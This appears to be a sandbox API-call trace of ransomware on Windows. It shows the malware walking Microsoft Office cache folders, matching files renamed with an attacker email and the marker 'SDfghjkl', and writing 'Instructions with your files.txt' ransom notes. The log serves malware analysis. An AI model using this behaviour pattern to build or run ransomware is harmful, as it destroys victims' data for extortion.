[0113.531] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86122b40, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x86122b40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x86148ca0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0113.531] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0113.531] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0113.531] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x860d6880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x263500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="ONENOT~1.COM")) returned 1
[0113.531] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0113.531] StrStrIW (lpFirst="OneNoteMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0113.531] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x860d6880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x746, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="ONENOT~2.COM")) returned 1
[0113.531] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0113.531] StrStrIW (lpFirst="OneNoteMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0113.531] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x860fc9e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x10a5ef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="ONOTEL~1.COM")) returned 1
[0113.531] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0113.531] StrStrIW (lpFirst="OnoteLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0113.532] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x86122b40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 1
[0113.532] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0113.532] StrStrIW (lpFirst="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0113.532] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x86122b40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 0
[0113.532] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0113.532] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0113.532] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0113.533] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0113.533] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0113.533] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0113.533] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0113.533] CloseHandle (hObject=0x10c) returned 1
[0113.533] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0113.534] GetProcessHeap () returned 0x810000
[0113.534] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0113.534] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x8728ac20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8728ac20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1
[0113.534] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C") returned 66
[0113.534] GetProcessHeap () returned 0x810000
[0113.534] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0113.534] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*") returned 68
[0113.534] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x8728ac20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8728ac20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0113.559] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.") returned 68
[0113.559] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0113.559] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x8728ac20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8728ac20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0113.559] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\..") returned 69
[0113.559] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0113.559] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8728ac20, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x8728ac20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8728ac20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0113.559] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0113.559] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0113.559] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0x8710de60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x265500, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROJEC~1.COM")) returned 1
[0113.559] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0113.559] StrStrIW (lpFirst="ProjectMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0113.559] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0x8715a120, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x6ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROJEC~2.COM")) returned 1
[0113.559] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0113.559] StrStrIW (lpFirst="ProjectMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0113.559] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0x871cc540, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x7e1ecd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROJLR~1.COM")) returned 1
[0113.559] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 119
[0113.559] StrStrIW (lpFirst="ProjLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0113.559] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0x8728ac20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x850, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 1
[0113.559] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0113.559] StrStrIW (lpFirst="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0113.559] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0x8728ac20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x850, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 0
[0113.559] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0113.559] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0114.983] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0114.984] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0114.984] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0114.984] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0114.984] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0114.985] CloseHandle (hObject=0x10c) returned 1
[0114.985] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0114.985] GetProcessHeap () returned 0x810000
[0114.985] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0114.985] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x872d6ee0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x872d6ee0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1
[0114.985] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C") returned 66
[0114.985] GetProcessHeap () returned 0x810000
[0114.985] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0114.985] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*") returned 68
[0114.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x872d6ee0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x872d6ee0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0114.997] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.") returned 68
[0114.997] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0114.997] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x872d6ee0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x872d6ee0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0114.997] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\..") returned 69
[0114.997] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0114.997] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x872b0d80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x3e7f1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="GROOVE~1.COM")) returned 1
[0114.997] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0114.997] StrStrIW (lpFirst="GrooveLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0114.997] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x872b0d80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x264500, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="GROOVE~2.COM")) returned 1
[0114.997] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 122
[0114.997] StrStrIW (lpFirst="GrooveMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0114.997] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x872b0d80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="GROOVE~3.COM")) returned 1
[0114.997] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 122
[0114.997] StrStrIW (lpFirst="GrooveMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0114.997] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x872d6ee0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x872d6ee0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x872d6ee0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0114.997] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0114.997] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0114.997] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x872b0d80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x6ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 1
